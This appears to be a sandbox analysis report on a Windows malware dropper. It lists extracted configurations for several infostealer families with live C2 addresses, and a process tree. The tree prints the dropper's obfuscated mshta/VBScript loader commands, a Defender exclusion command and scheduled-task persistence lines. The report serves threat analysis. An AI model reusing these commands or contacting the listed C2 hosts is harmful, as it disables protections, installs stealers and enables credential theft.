Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

  • max time kernel
    166s
  • max time network
    210s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    09-11-2021 13:19

General

  • Target

    243379992d4692a9058e9964696513a2f84e03759c6d5b3b737685bf9bf65493.exe

  • Size

    4.6MB

  • MD5

    664aed619fcf50da08dc9d74f48aad57

  • SHA1

    995df8d6655cf256187df9bc9699bdd094c33616

  • SHA256

    243379992d4692a9058e9964696513a2f84e03759c6d5b3b737685bf9bf65493

  • SHA512

    c2b5326396712ef94b51ab52e5f655134978af980db04c09c3cb7a6fce5e236087da790a65b493c1e9760617a2867070ad824a2d458f38a65916594d313254fc

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes
  • url4cnc

    http://telegatt.top/oh12manymarty

    http://telegka.top/oh12manymarty

    http://telegin.top/oh12manymarty

    https://t.me/oh12manymarty

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

media18

C2

91.121.67.60:2151

Extracted

Family

vidar

Version

48.1

Botnet

937

Attributes
  • profile_id

    937

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

C2

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • Xloader Payload 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 29 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 7 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
    • Drops file in System32 directory
    PID:328
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Themes
    1⤵
      PID:1216
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:2056
        • C:\Users\Admin\AppData\Local\Temp\243379992d4692a9058e9964696513a2f84e03759c6d5b3b737685bf9bf65493.exe
          "C:\Users\Admin\AppData\Local\Temp\243379992d4692a9058e9964696513a2f84e03759c6d5b3b737685bf9bf65493.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1404
          • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\setup_install.exe
            "C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\setup_install.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:800
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1488
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2444
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue16af5513dabbf.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1460
              • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16af5513dabbf.exe
                Tue16af5513dabbf.exe
                5⤵
                • Executes dropped EXE
                PID:1992
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl" ). run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16af5513dabbf.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16af5513dabbf.exe"" ) do taskkill -F /iM ""%~nXE"" " , 0 , True ) )
                  6⤵
                    PID:3064
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16af5513dabbf.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16af5513dabbf.exe" ) do taskkill -F /iM "%~nXE"
                      7⤵
                        PID:4360
                        • C:\Users\Admin\AppData\Local\Temp\fkKCS.exe
                          fkKCS.EXE -P_3FA3g8_0NB
                          8⤵
                          • Executes dropped EXE
                          PID:4552
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl" ). run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" " , 0 , True ) )
                            9⤵
                              PID:4676
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"
                                10⤵
                                  PID:4784
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" VBscRipt: ClOSE ( cREaTEOBjEcT ( "wSCript.sheLl" ). RUN ( "Cmd.eXE /c echo N%TIme%O> VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+ LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " , 0 , TRUe ) )
                                9⤵
                                  PID:1816
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c echo N%TIme%O> VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+ LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS
                                    10⤵
                                      PID:4576
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                        11⤵
                                          PID:3216
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"
                                          11⤵
                                            PID:5020
                                          • C:\Windows\SysWOW64\msiexec.exe
                                            msiexec.exe /Y .\pUA9.FS
                                            11⤵
                                            • Loads dropped DLL
                                            PID:2180
                                    • C:\Windows\SysWOW64\taskkill.exe
                                      taskkill -F /iM "Tue16af5513dabbf.exe"
                                      8⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4732
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c Tue16703646a5ae7.exe
                              4⤵
                              • Suspicious use of WriteProcessMemory
                              PID:716
                              • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16703646a5ae7.exe
                                Tue16703646a5ae7.exe
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1444
                                • C:\Users\Admin\Pictures\Adobe Films\R_osMhulhqiteyYnqNkoPwP3.exe
                                  "C:\Users\Admin\Pictures\Adobe Films\R_osMhulhqiteyYnqNkoPwP3.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:4740
                                • C:\Users\Admin\Pictures\Adobe Films\_elSox0d13nfLWsD5GkHGKA7.exe
                                  "C:\Users\Admin\Pictures\Adobe Films\_elSox0d13nfLWsD5GkHGKA7.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: MapViewOfSection
                                  PID:4596
                                • C:\Users\Admin\Pictures\Adobe Films\kcNj6xmTFa8nyX2koC7fIBq3.exe
                                  "C:\Users\Admin\Pictures\Adobe Films\kcNj6xmTFa8nyX2koC7fIBq3.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:3880
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "kcNj6xmTFa8nyX2koC7fIBq3.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\kcNj6xmTFa8nyX2koC7fIBq3.exe" & exit
                                    7⤵
                                      PID:4692
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im "kcNj6xmTFa8nyX2koC7fIBq3.exe" /f
                                        8⤵
                                        • Kills process with taskkill
                                        PID:4804
                                  • C:\Users\Admin\Pictures\Adobe Films\UWH08ZQbbxmLt1GzA0V_NNOj.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\UWH08ZQbbxmLt1GzA0V_NNOj.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Checks BIOS information in registry
                                    • Checks whether UAC is enabled
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    PID:4652
                                  • C:\Users\Admin\Pictures\Adobe Films\4uG4pIE2S46WrwcDXkhw5IQg.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\4uG4pIE2S46WrwcDXkhw5IQg.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    PID:4620
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c taskkill /im 4uG4pIE2S46WrwcDXkhw5IQg.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\4uG4pIE2S46WrwcDXkhw5IQg.exe" & del C:\ProgramData\*.dll & exit
                                      7⤵
                                        PID:3296
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /im 4uG4pIE2S46WrwcDXkhw5IQg.exe /f
                                          8⤵
                                          • Kills process with taskkill
                                          PID:920
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /t 6
                                          8⤵
                                          • Delays execution with timeout.exe
                                          PID:2060
                                    • C:\Users\Admin\Pictures\Adobe Films\C0y9fIkSwGjh0I4MWYVyd1DP.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\C0y9fIkSwGjh0I4MWYVyd1DP.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:2188
                                      • C:\Users\Admin\Pictures\Adobe Films\C0y9fIkSwGjh0I4MWYVyd1DP.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\C0y9fIkSwGjh0I4MWYVyd1DP.exe"
                                        7⤵
                                          PID:4624
                                      • C:\Users\Admin\Pictures\Adobe Films\UeNLW0WM9_7kWVRW7m2VOo_Q.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\UeNLW0WM9_7kWVRW7m2VOo_Q.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        PID:4664
                                        • C:\Users\Admin\Documents\bF1DNwjbp8W5mcY9G5bwAvWz.exe
                                          "C:\Users\Admin\Documents\bF1DNwjbp8W5mcY9G5bwAvWz.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          PID:4500
                                          • C:\Users\Admin\Pictures\Adobe Films\HOiR02Mq2kbLXcyXfxbGvkQN.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\HOiR02Mq2kbLXcyXfxbGvkQN.exe"
                                            8⤵
                                              PID:1288
                                            • C:\Users\Admin\Pictures\Adobe Films\4NlwPsJSMB9Ntlsh5jluvutl.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\4NlwPsJSMB9Ntlsh5jluvutl.exe"
                                              8⤵
                                                PID:2960
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im "4NlwPsJSMB9Ntlsh5jluvutl.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\4NlwPsJSMB9Ntlsh5jluvutl.exe" & exit
                                                  9⤵
                                                    PID:3652
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /im "4NlwPsJSMB9Ntlsh5jluvutl.exe" /f
                                                      10⤵
                                                      • Kills process with taskkill
                                                      PID:4868
                                                • C:\Users\Admin\Pictures\Adobe Films\A6VgCAzG5qQ1Fq7PFZSnIR0l.exe
                                                  "C:\Users\Admin\Pictures\Adobe Films\A6VgCAzG5qQ1Fq7PFZSnIR0l.exe"
                                                  8⤵
                                                    PID:2308
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                      9⤵
                                                        PID:4864
                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                          taskkill /f /im chrome.exe
                                                          10⤵
                                                          • Kills process with taskkill
                                                          PID:2156
                                                    • C:\Users\Admin\Pictures\Adobe Films\0kIv674RBTvBzGxPl97VPEYJ.exe
                                                      "C:\Users\Admin\Pictures\Adobe Films\0kIv674RBTvBzGxPl97VPEYJ.exe"
                                                      8⤵
                                                        PID:4792
                                                      • C:\Users\Admin\Pictures\Adobe Films\DkIdFTRropjZNXkEQ1pNYPIX.exe
                                                        "C:\Users\Admin\Pictures\Adobe Films\DkIdFTRropjZNXkEQ1pNYPIX.exe"
                                                        8⤵
                                                          PID:4768
                                                        • C:\Users\Admin\Pictures\Adobe Films\dGh98Wd5N8FrPXd_N4T7dPEF.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\dGh98Wd5N8FrPXd_N4T7dPEF.exe"
                                                          8⤵
                                                            PID:4316
                                                          • C:\Users\Admin\Pictures\Adobe Films\7iOwkPqjrAbPQitegfU6FYD5.exe
                                                            "C:\Users\Admin\Pictures\Adobe Films\7iOwkPqjrAbPQitegfU6FYD5.exe"
                                                            8⤵
                                                              PID:1920
                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\7iOwkPqjrAbPQitegfU6FYD5.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\7iOwkPqjrAbPQitegfU6FYD5.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                9⤵
                                                                  PID:2268
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\7iOwkPqjrAbPQitegfU6FYD5.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\7iOwkPqjrAbPQitegfU6FYD5.exe" ) do taskkill -f -iM "%~NxM"
                                                                    10⤵
                                                                      PID:4332
                                                                      • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                        11⤵
                                                                          PID:2864
                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                            12⤵
                                                                              PID:4608
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                13⤵
                                                                                  PID:2208
                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                12⤵
                                                                                  PID:4820
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                    13⤵
                                                                                      PID:4172
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                        14⤵
                                                                                          PID:1632
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                          14⤵
                                                                                            PID:2224
                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                            msiexec -Y ..\lXQ2g.WC
                                                                                            14⤵
                                                                                              PID:212
                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                        taskkill -f -iM "7iOwkPqjrAbPQitegfU6FYD5.exe"
                                                                                        11⤵
                                                                                        • Kills process with taskkill
                                                                                        PID:4804
                                                                                • C:\Users\Admin\Pictures\Adobe Films\XKDKY6upTa0izh6KnplkrsEr.exe
                                                                                  "C:\Users\Admin\Pictures\Adobe Films\XKDKY6upTa0izh6KnplkrsEr.exe"
                                                                                  8⤵
                                                                                    PID:1028
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\XKDKY6upTa0izh6KnplkrsEr.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\XKDKY6upTa0izh6KnplkrsEr.exe" -u
                                                                                      9⤵
                                                                                        PID:5040
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\g2Uvgpvxs4_Sx4PgrRp_lJ6g.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\g2Uvgpvxs4_Sx4PgrRp_lJ6g.exe"
                                                                                      8⤵
                                                                                        PID:4852
                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                          C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                          9⤵
                                                                                            PID:4420
                                                                                        • C:\Users\Admin\Pictures\Adobe Films\5jVKNAldEtwliUzMCjaAli3m.exe
                                                                                          "C:\Users\Admin\Pictures\Adobe Films\5jVKNAldEtwliUzMCjaAli3m.exe"
                                                                                          8⤵
                                                                                            PID:1528
                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-R7D9P.tmp\5jVKNAldEtwliUzMCjaAli3m.tmp
                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-R7D9P.tmp\5jVKNAldEtwliUzMCjaAli3m.tmp" /SL5="$402DE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\5jVKNAldEtwliUzMCjaAli3m.exe"
                                                                                              9⤵
                                                                                                PID:2960
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                            7⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:4656
                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                            schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                            7⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:1852
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c Tue16cea79fd58a17a.exe
                                                                                      4⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:952
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16cea79fd58a17a.exe
                                                                                        Tue16cea79fd58a17a.exe
                                                                                        5⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:1264
                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                          C:\Windows\system32\WerFault.exe -u -p 1264 -s 1400
                                                                                          6⤵
                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                          • Program crash
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4296
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c Tue165ca48696e212.exe /mixone
                                                                                      4⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3588
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue165ca48696e212.exe
                                                                                        Tue165ca48696e212.exe /mixone
                                                                                        5⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4068
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c Tue16d47340279.exe
                                                                                      4⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2896
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16d47340279.exe
                                                                                        Tue16d47340279.exe
                                                                                        5⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1648
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c Tue1628cd68fb2319b0.exe
                                                                                      4⤵
                                                                                        PID:1540
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue1628cd68fb2319b0.exe
                                                                                          Tue1628cd68fb2319b0.exe
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3668
                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-SLFQ5.tmp\Tue1628cd68fb2319b0.tmp
                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-SLFQ5.tmp\Tue1628cd68fb2319b0.tmp" /SL5="$60058,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue1628cd68fb2319b0.exe"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            PID:1140
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue1628cd68fb2319b0.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue1628cd68fb2319b0.exe" /SILENT
                                                                                              7⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:1652
                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-M5HRQ.tmp\Tue1628cd68fb2319b0.tmp
                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-M5HRQ.tmp\Tue1628cd68fb2319b0.tmp" /SL5="$601E6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue1628cd68fb2319b0.exe" /SILENT
                                                                                                8⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                PID:4156
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c Tue16a1e0194b6e612.exe
                                                                                        4⤵
                                                                                          PID:2844
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16a1e0194b6e612.exe
                                                                                            Tue16a1e0194b6e612.exe
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:3996
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 1004
                                                                                              6⤵
                                                                                              • Program crash
                                                                                              PID:956
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c Tue16b77353ecd495ba.exe
                                                                                          4⤵
                                                                                            PID:3944
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16b77353ecd495ba.exe
                                                                                              Tue16b77353ecd495ba.exe
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:2184
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16b77353ecd495ba.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue16b77353ecd495ba.exe
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4336
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c Tue165edc47615.exe
                                                                                            4⤵
                                                                                              PID:2336
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue165edc47615.exe
                                                                                                Tue165edc47615.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:3896
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue165edc47615.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC754BFA6\Tue165edc47615.exe
                                                                                                  6⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4344
                                                                                            • C:\Windows\SysWOW64\cmd.exe
